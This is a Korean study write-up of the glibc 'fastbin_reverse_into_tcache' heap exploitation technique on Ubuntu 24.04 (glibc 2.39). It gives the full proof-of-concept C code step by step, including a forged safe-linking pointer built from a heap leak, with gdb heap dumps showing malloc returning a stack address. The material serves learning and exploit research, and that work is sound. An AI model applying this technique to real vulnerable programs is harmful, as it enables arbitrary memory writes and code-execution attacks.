환경
Ubuntu GLIBC 2.39-0ubuntu8.4 / Ubuntu 24.04.1 LTS x86_64
요약
fastbin으로 malloc할때 지역변수 스택 주소로 할당받는 방법에 설명한다.
(fastbin_dup_into_stack 기법과 유사)
1. 0x40 크기의 메모리를 14번 할당하고, 처음 기준 7개의 tcache들 할당을 다시 해제함.
2. ptrs[7]에 할당된 메모리를 해제함. 여기서 ptrs[7]이 손상시킬 청크임.
3. 나머지 ptrs[8]~ptrs[13] 메모리들도 할당 해제함.
4. size_t stack_var[6];
지역변수 주소는 0x7fffffffdfc0
임. 해당 지역변수 값들은 전부 임의 값인 0xcdcdcdcdcdcdcdcd
로 채움(굳이 안채워도 될듯?), 힙 할당을 통해 받으려는 스택 주소는 0x7fffffffdfd0,
즉 stack_var[2]
임.
따라서 할당해제되었던 victim(= ptrs[7]) 청크에 (size_t stack_var[6]; 지역변수 주소 ^ (victim >> 12))
연산과 함께 safe-linking 보호기법이 적용된 fd 값으로 덮어씀.
5. ptrs[0]~ptrs[6]까지 malloc(0x40)에 의해 할당받음. 여기서는 tache를 비우기 위해 7번 할당시켰음..
6. 이제 한번 malloc(0x40)
하면, stack_var[2] ~ [3]
값이 변조되고,
7. 한번 더 malloc(0x40)
하면, stack_var[2]
인 스택 주소로 할당받을 수 있음.
빌드 특이사항
-Os
옵션으로 컴파일하면 안됨.
gcc -O0 -o fastbin_reverse_into_tcache fastbin_reverse_into_tcache.c
내용
1.
0x40 크기의 메모리를 14번 할당함.
7개의 tcache들이 채워지고, 나머지 7개의 fastbin들이 할당됨. tcache들은 사용하지 않기 때문에 처음 기준 7개의 tcache들 할당을 다시 해제함.
즉 ptrs[7] ~ ptrs[13]까지 7개가 0x50크기만큼 청크들이 fastbin에 할당됨.
출 번역내용.
이 공격은 unsorted_bin_attack
과 유사한 효과를 가지도록 설계되었으며, 작은 할당 크기(allocsize <= 0x78
)에서도 작동합니다. 목표는 malloc(allocsize)
호출 시 스택에 큰 unsigned 값을 쓰도록 설정하는 것입니다.
다음 패치 이후: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41 이 공격을 수행하려면 힙 주소 leak이 필요합니다. 같은 패치는 또한 tcache
에서 반환되는 청크가 올바르게 정렬되도록 보장합니다.
먼저 tcache를 채우기 위해 free(allocsize)
를 최소 7번 호출해야 합니다.
(7번보다 많이 호출해도 괜찮습니다.)
코드:
const size_t allocsize = 0x40; int main(){ setbuf(stdout, NULL); printf("\n" "This attack is intended to have a similar effect to the unsorted_bin_attack,\n" "except it works with a small allocation size (allocsize <= 0x78).\n" "The goal is to set things up so that a call to malloc(allocsize) will write\n" "a large unsigned value to the stack.\n\n"); printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n" "An heap address leak is needed to perform this attack.\n" "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n"); // Allocate 14 times so that we can free later. char* ptrs[14]; size_t i; for (i = 0; i < 14; i++) { ptrs[i] = malloc(allocsize); } printf("First we need to free(allocsize) at least 7 times to fill the tcache.\n" "(More than 7 times works fine too.)\n\n"); // Fill the tcache. for (i = 0; i < 7; i++) free(ptrs[i]);
결과:
This attack is intended to have a similar effect to the unsorted_bin_attack, except it works with a small allocation size (allocsize <= 0x78). The goal is to set things up so that a call to malloc(allocsize) will write a large unsigned value to the stack. After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41, An heap address leak is needed to perform this attack. The same patch also ensures the chunk returned by tcache is properly aligned. First we need to free(allocsize) at least 7 times to fill the tcache. (More than 7 times works fine too.)
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x50 Freed 0x555555559 None 0x5555555592e0 0x0 0x50 Freed 0x55500000c7f9 None 0x555555559330 0x0 0x50 Freed 0x55500000c7a9 None 0x555555559380 0x0 0x50 Freed 0x55500000c619 None 0x5555555593d0 0x0 0x50 Freed 0x55500000c6c9 None 0x555555559420 0x0 0x50 Freed 0x55500000c6b9 None 0x555555559470 0x0 0x50 Freed 0x55500000c169 None 0x5555555594c0 0x0 0x50 Used None None 0x555555559510 0x0 0x50 Used None None 0x555555559560 0x0 0x50 Used None None 0x5555555595b0 0x0 0x50 Used None None 0x555555559600 0x0 0x50 Used None None 0x555555559650 0x0 0x50 Used None None 0x5555555596a0 0x0 0x50 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555555596f0 (size : 0x20910) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x50) tcache_entry[3](7): 0x555555559480 --> 0x555555559430 --> 0x5555555593e0 --> 0x555555559390 --> 0x555555559340 --> 0x5555555592f0 --> 0x5555555592a0 gdb-peda$

2.
ptrs[7]에 할당된 메모리를 해제함.
ptrs[7]은 우리가 손상시킬 청크임 ㅇㅇ
출력 번역내용.
다음으로 free
할 포인터는 우리가 손상시킬 청크입니다: 0x5555555594d0
지금 손상시키든 나중에 손상시키든 상관없습니다.
tcache
가 이미 가득 찼기 때문에 이 청크는 fastbin
에 들어가게 됩니다.
char* victim = ptrs[7]; printf("The next pointer that we free is the chunk that we're going to corrupt: %p\n" "It doesn't matter if we corrupt it now or later. Because the tcache is\n" "already full, it will go in the fastbin.\n\n", victim); free(victim);
결과:
The next pointer that we free is the chunk that we're going to corrupt: 0x5555555594d0 It doesn't matter if we corrupt it now or later. Because the tcache is already full, it will go in the fastbin.
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x50 Freed 0x555555559 None 0x5555555592e0 0x0 0x50 Freed 0x55500000c7f9 None 0x555555559330 0x0 0x50 Freed 0x55500000c7a9 None 0x555555559380 0x0 0x50 Freed 0x55500000c619 None 0x5555555593d0 0x0 0x50 Freed 0x55500000c6c9 None 0x555555559420 0x0 0x50 Freed 0x55500000c6b9 None 0x555555559470 0x0 0x50 Freed 0x55500000c169 None 0x5555555594c0 0x0 0x50 Freed 0x555555559 None 0x555555559510 0x0 0x50 Used None None 0x555555559560 0x0 0x50 Used None None 0x5555555595b0 0x0 0x50 Used None None 0x555555559600 0x0 0x50 Used None None 0x555555559650 0x0 0x50 Used None None 0x5555555596a0 0x0 0x50 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x5555555594c0 --> 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555555596f0 (size : 0x20910) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x50) tcache_entry[3](7): 0x555555559480 --> 0x555555559430 --> 0x5555555593e0 --> 0x555555559390 --> 0x555555559340 --> 0x5555555592f0 --> 0x5555555592a0

3.
나머지 ptrs[8]~ptrs[13] 메모리들도 할당 해제함.
출력번역 내용.
다음으로 1개에서 6개 사이의 포인터를 더 free
해야 합니다. 이들 역시 fastbin
에 들어가게 됩니다.
만약 우리가 덮어쓰려는 스택 주소의 값이 0이 아니라면, 정확히 6개의 포인터를 free
해야 합니다.
그렇지 않으면 공격이 segmentation fault를 일으킵니다.
하지만 스택에 있는 값이 0이라면, 포인터 하나만 free
해도 충분합니다.
코드:
printf("Next we need to free between 1 and 6 more pointers. These will also go\n" "in the fastbin. If the stack address that we want to overwrite is not zero\n" "then we need to free exactly 6 more pointers, otherwise the attack will\n" "cause a segmentation fault. But if the value on the stack is zero then\n" "a single free is sufficient.\n\n"); // Fill the fastbin. for (i = 8; i < 14; i++) free(ptrs[i]);
결과:
Next we need to free between 1 and 6 more pointers. These will also go in the fastbin. If the stack address that we want to overwrite is not zero then we need to free exactly 6 more pointers, otherwise the attack will cause a segmentation fault. But if the value on the stack is zero then a single free is sufficient.
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x50 Freed 0x555555559 None 0x5555555592e0 0x0 0x50 Freed 0x55500000c7f9 None 0x555555559330 0x0 0x50 Freed 0x55500000c7a9 None 0x555555559380 0x0 0x50 Freed 0x55500000c619 None 0x5555555593d0 0x0 0x50 Freed 0x55500000c6c9 None 0x555555559420 0x0 0x50 Freed 0x55500000c6b9 None 0x555555559470 0x0 0x50 Freed 0x55500000c169 None 0x5555555594c0 0x0 0x50 Freed 0x555555559 None 0x555555559510 0x0 0x50 Freed 0x55500000c199 None 0x555555559560 0x0 0x50 Freed 0x55500000c049 None 0x5555555595b0 0x0 0x50 Freed 0x55500000c039 None 0x555555559600 0x0 0x50 Freed 0x55500000c0e9 None 0x555555559650 0x0 0x50 Freed 0x55500000c359 None 0x5555555596a0 0x0 0x50 Freed 0x55500000c309 None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x5555555596a0 --> 0x555555559650 --> 0x555555559600 --> 0x5555555595b0 --> 0x555555559560 --> 0x555555559510 --> 0x5555555594c0 --> 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555555596f0 (size : 0x20910) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x50) tcache_entry[3](7): 0x555555559480 --> 0x555555559430 --> 0x5555555593e0 --> 0x555555559390 --> 0x555555559340 --> 0x5555555592f0 --> 0x5555555592a0 gdb-peda$

4.
size_t stack_var[6];
지역변수 주소는 0x7fffffffdfc0
임.
해당 데이터들은 0xcdcdcdcdcdcdcdcd
값으로 전부 채워짐.
여기서 size_t는 8바이트. 8*6 = 48 = 0x30 = sizeof(stack_var)
타겟으로, 힙 할당을 통해 받으려는 스택 주소는 0x7fffffffdfd0.
(0x7fffffffdfc0 + 0x10 = 0x7fffffffdfd0)
출력번역 내용.
우리가 타겟으로 삼으려는 스택 주소: 0x7fffffffdfd0
현재 이 주소의 값은 0xcdcdcdcdcdcdcdcd
입니다.
이제 버퍼 오버플로우나 use-after-free 같은 취약점을 이용해 주소 0x5555555594d0
에 있는 next 포인터를 덮어씁니다.
코드:
// Create an array on the stack and initialize it with garbage. size_t stack_var[6]; memset(stack_var, 0xcd, sizeof(stack_var)); printf("The stack address that we intend to target: %p\n" "It's current value is %p\n", &stack_var[2], (char*)stack_var[2]); printf("Now we use a vulnerability such as a buffer overflow or a use-after-free\n" "to overwrite the next pointer at address %p\n\n", victim);
결과:
The stack address that we intend to target: 0x7fffffffdfd0 It's current value is 0xcdcdcdcdcdcdcdcd Now we use a vulnerability such as a buffer overflow or a use-after-free to overwrite the next pointer at address 0x5555555594d0
gdb-peda$ x/7gx 0x7fffffffdfc0 0x7fffffffdfc0: 0xcdcdcdcdcdcdcdcd 0xcdcdcdcdcdcdcdcd 0x7fffffffdfd0: 0xcdcdcdcdcdcdcdcd 0xcdcdcdcdcdcdcdcd 0x7fffffffdfe0: 0xcdcdcdcdcdcdcdcd 0xcdcdcdcdcdcdcdcd 0x7fffffffdff0: 0x00005555555592a0
5.
할당해제되었던 victim(이하 ptrs[7]) 청크에(size_t stack_var[6]; 지역변수 주소 ^ (victim >> 12))
연산과 함께
safe-linking 보호기법이 적용된 fd 값으로 덮어씀.
(0x7fffffffdfc0 ^ (0x5555555594d0 >> 12)) = 0x7ffaaaaa8a99
주석 번역내용:
victim의 연결 리스트 포인터를 덮어씁니다.
다음 작업은 victim의 주소를 알고 있다는 전제하에 이루어지므로, 힙 주소 leak이 필요합니다.
코드:
//------------VULNERABILITY----------- // Overwrite linked list pointer in victim. // The following operation assumes the address of victim is known, thus requiring // a heap leak. *(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12)); //------------------------------------
결과:
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x50 Freed 0x555555559 None 0x5555555592e0 0x0 0x50 Freed 0x55500000c7f9 None 0x555555559330 0x0 0x50 Freed 0x55500000c7a9 None 0x555555559380 0x0 0x50 Freed 0x55500000c619 None 0x5555555593d0 0x0 0x50 Freed 0x55500000c6c9 None 0x555555559420 0x0 0x50 Freed 0x55500000c6b9 None 0x555555559470 0x0 0x50 Freed 0x55500000c169 None 0x5555555594c0 0x0 0x50 Freed 0x7ffaaaaa8a99 None 0x555555559510 0x0 0x50 Freed 0x55500000c199 None 0x555555559560 0x0 0x50 Freed 0x55500000c049 None 0x5555555595b0 0x0 0x50 Freed 0x55500000c039 None 0x555555559600 0x0 0x50 Freed 0x55500000c0e9 None 0x555555559650 0x0 0x50 Freed 0x55500000c359 None 0x5555555596a0 0x0 0x50 Freed 0x55500000c309 None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x5555555596a0 --> 0x555555559650 --> 0x555555559600 --> 0x5555555595b0 --> 0x555555559560 --> 0x555555559510 --> 0x5555555594c0 --> 0x7fffffffdfc0 (size error (0xcdcdcdcdcdcdcdc8)) --> 0xcdcdcdca32323230 (invaild memory) (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555555596f0 (size : 0x20910) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x50) tcache_entry[3](7): 0x555555559480 --> 0x555555559430 --> 0x5555555593e0 --> 0x555555559390 --> 0x555555559340 --> 0x5555555592f0 --> 0x5555555592a0 gdb-peda$

6.
ptrs[0]~ptrs[6]까지 malloc(0x40)에 의해 할당받음.
tache를 비우기 위해 7번 할당시킴.
코드:
printf("The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"); // Empty tcache. for (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);
결과:
The next step is to malloc(allocsize) 7 times to empty the tcache.
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x50 Freed 0x555555559 None 0x5555555592e0 0x0 0x50 Freed 0x55500000c7f9 None 0x555555559330 0x0 0x50 Freed 0x55500000c7a9 None 0x555555559380 0x0 0x50 Freed 0x55500000c619 None 0x5555555593d0 0x0 0x50 Freed 0x55500000c6c9 None 0x555555559420 0x0 0x50 Freed 0x55500000c6b9 None 0x555555559470 0x0 0x50 Freed 0x55500000c169 None 0x5555555594c0 0x0 0x50 Freed 0x7ffaaaaa8a99 None 0x555555559510 0x0 0x50 Freed 0x55500000c199 None 0x555555559560 0x0 0x50 Freed 0x55500000c049 None 0x5555555595b0 0x0 0x50 Freed 0x55500000c039 None 0x555555559600 0x0 0x50 Freed 0x55500000c0e9 None 0x555555559650 0x0 0x50 Freed 0x55500000c359 None 0x5555555596a0 0x0 0x50 Freed 0x55500000c309 None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x5555555596a0 --> 0x555555559650 --> 0x555555559600 --> 0x5555555595b0 --> 0x555555559560 --> 0x555555559510 --> 0x5555555594c0 --> 0x7fffffffdfc0 (size error (0xcdcdcdcdcdcdcdc8)) --> 0xcdcdcdca32323230 (invaild memory) (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555555596f0 (size : 0x20910) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 gdb-peda$
gdb-peda$ x/32gx $rbp-0x80 0x7fffffffdff0: 0x0000555555559480 0x0000555555559430 0x7fffffffe000: 0x00005555555593e0 0x0000555555559390 0x7fffffffe010: 0x0000555555559340 0x00005555555592f0 0x7fffffffe020: 0x00005555555592a0

7.
stack_var[0] ~ stack_var[6]까지 스택에 있는 값을 출력해줌.
출력 번역내용:
이제 스택에 있는 배열의 내용을 출력해 봅시다.
아직 수정되지 않았다는 것을 보여주기 위함입니다.
코드:
printf("Let's just print the contents of our array on the stack now,\n" "to show that it hasn't been modified yet.\n\n"); for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
결과:
Let's just print the contents of our array on the stack now, to show that it hasn't been modified yet. 0x7fffffffdfc0: 0xcdcdcdcdcdcdcdcd 0x7fffffffdfc8: 0xcdcdcdcdcdcdcdcd 0x7fffffffdfd0: 0xcdcdcdcdcdcdcdcd 0x7fffffffdfd8: 0xcdcdcdcdcdcdcdcd 0x7fffffffdfe0: 0xcdcdcdcdcdcdcdcd 0x7fffffffdfe8: 0xcdcdcdcdcdcdcdcd
8.
이제 한번 malloc(0x40)
하면, stack_var[2] ~ [3]
값이 변조됨.
힙 포인터가 스택에 쓰이는듯.
stack_var[2]
값은 0x5552aaaa6b2d
. stack_var[3]
값은 0x5bceaada58f8f2d8
.
출력 번역 내용:
다음 할당에서 스택이 덮어쓰기됩니다. tcache
는 비어 있지만 fastbin
은 비어 있지 않기 때문에, 다음 할당은 fastbin
에서 가져옵니다.
또한 fastbin
에 있는 7개의 청크가 tcache
를 다시 채우기 위해 사용됩니다.
이 7개의 청크는 역순으로 tcache
에 복사되므로,
우리가 타겟으로 삼은 스택 주소가 tcache
의 첫 번째 청크가 됩니다.
이 청크는 리스트에서 다음 청크를 가리키는 포인터를 포함하고 있기 때문에,
힙 포인터가 스택에 쓰이게 됩니다.
앞서 우리는 fastbin
에 6개 미만의 포인터를 free
하더라도 공격이 작동한다고 말했는데,
이는 스택에 있는 값이 0일 때만 가능합니다.
왜냐하면 스택에 있는 값이 연결 리스트의 next 포인터로 처리되기 때문에,
유효한 포인터가 아니거나 null이 아닐 경우 충돌이 발생하기 때문입니다.
이제 스택에 있는 배열의 내용은 다음과 같습니다:
코드:
printf("\n" "The next allocation triggers the stack to be overwritten. The tcache\n" "is empty, but the fastbin isn't, so the next allocation comes from the\n" "fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n" "Those 7 chunks are copied in reverse order into the tcache, so the stack\n" "address that we are targeting ends up being the first chunk in the tcache.\n" "It contains a pointer to the next chunk in the list, which is why a heap\n" "pointer is written to the stack.\n" "\n" "Earlier we said that the attack will also work if we free fewer than 6\n" "extra pointers to the fastbin, but only if the value on the stack is zero.\n" "That's because the value on the stack is treated as a next pointer in the\n" "linked list and it will trigger a crash if it isn't a valid pointer or null.\n" "\n" "The contents of our array on the stack now look like this:\n\n"); malloc(allocsize); for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
결과:
The next allocation triggers the stack to be overwritten. The tcache is empty, but the fastbin isn't, so the next allocation comes from the fastbin. Also, 7 chunks from the fastbin are used to refill the tcache. Those 7 chunks are copied in reverse order into the tcache, so the stack address that we are targeting ends up being the first chunk in the tcache. It contains a pointer to the next chunk in the list, which is why a heap pointer is written to the stack. Earlier we said that the attack will also work if we free fewer than 6 extra pointers to the fastbin, but only if the value on the stack is zero. That's because the value on the stack is treated as a next pointer in the linked list and it will trigger a crash if it isn't a valid pointer or null. The contents of our array on the stack now look like this: 0x7fffffffdfc0: 0xcdcdcdcdcdcdcdcd 0x7fffffffdfc8: 0xcdcdcdcdcdcdcdcd 0x7fffffffdfd0: 0x5552aaaa6b2d 0x7fffffffdfd8: 0x5bceaada58f8f2d8 0x7fffffffdfe0: 0xcdcdcdcdcdcdcdcd 0x7fffffffdfe8: 0xcdcdcdcdcdcdcdcd
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x50 Freed 0x555555559 None 0x5555555592e0 0x0 0x50 Freed 0x55500000c7f9 None 0x555555559330 0x0 0x50 Freed 0x55500000c7a9 None 0x555555559380 0x0 0x50 Freed 0x55500000c619 None 0x5555555593d0 0x0 0x50 Freed 0x55500000c6c9 None 0x555555559420 0x0 0x50 Freed 0x55500000c6b9 None 0x555555559470 0x0 0x50 Freed 0x55500000c169 None 0x5555555594c0 0x0 0x50 Freed 0x55500000c079 None 0x555555559510 0x0 0x50 Freed 0x55500000c029 None 0x555555559560 0x0 0x50 Freed 0x55500000c099 None 0x5555555595b0 0x0 0x50 Freed 0x55500000c349 None 0x555555559600 0x0 0x50 Freed 0x55500000c339 None 0x555555559650 0x0 0x50 Freed 0x555555559 None 0x5555555596a0 0x0 0x50 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0xcdcdcdca32323230 (invaild memory) (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555555596f0 (size : 0x20910) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x50) tcache_entry[3](7): 0x7fffffffdfd0 --> 0x5555555594d0 --> 0x555555559520 --> 0x555555559570 --> 0x5555555595c0 --> 0x555555559610 --> 0x555555559660

9.
마지막으로 딱 한번더 malloc(0x40)
하면, 스택 주소로 할당받을 수 있음. stack_var[2]
주소로 할당받았음!
코드:
char *q = malloc(allocsize); printf("\n" "Finally, if we malloc one more time then we get the stack address back: %p\n", q); assert(q == (char *)&stack_var[2]); return 0; }
결과:
Finally, if we malloc one more time then we get the stack address back: 0x7fffffffdfd0
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x50 Freed 0x555555559 None 0x5555555592e0 0x0 0x50 Freed 0x55500000c7f9 None 0x555555559330 0x0 0x50 Freed 0x55500000c7a9 None 0x555555559380 0x0 0x50 Freed 0x55500000c619 None 0x5555555593d0 0x0 0x50 Freed 0x55500000c6c9 None 0x555555559420 0x0 0x50 Freed 0x55500000c6b9 None 0x555555559470 0x0 0x50 Freed 0x55500000c169 None 0x5555555594c0 0x0 0x50 Freed 0x55500000c079 None 0x555555559510 0x0 0x50 Freed 0x55500000c029 None 0x555555559560 0x0 0x50 Freed 0x55500000c099 None 0x5555555595b0 0x0 0x50 Freed 0x55500000c349 None 0x555555559600 0x0 0x50 Freed 0x55500000c339 None 0x555555559650 0x0 0x50 Freed 0x555555559 None 0x5555555596a0 0x0 0x50 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0xcdcdcdca32323230 (invaild memory) (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555555596f0 (size : 0x20910) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x50) tcache_entry[3](6): 0x5555555594d0 --> 0x555555559520 --> 0x555555559570 --> 0x5555555595c0 --> 0x555555559610 --> 0x555555559660 gdb-peda$
gdb-peda$ x/16gx 0x7fffffffdfc0 0x7fffffffdfc0: 0xcdcdcdcdcdcdcdcd 0xcdcdcdcdcdcdcdcd 0x7fffffffdfd0: 0x00005552aaaa6b2d 0x0000000000000000(수정됨(?)) 0x7fffffffdfe0: 0xcdcdcdcdcdcdcdcd 0xcdcdcdcdcdcdcdcd 0x7fffffffdff0: 0x0000555555559480 0x0000555555559430 0x7fffffffe000: 0x00005555555593e0 0x0000555555559390 0x7fffffffe010: 0x0000555555559340 0x00005555555592f0 0x7fffffffe020: 0x00005555555592a0 0x00005555555594d0 0x7fffffffe030: 0x0000555555559520 0x0000555555559570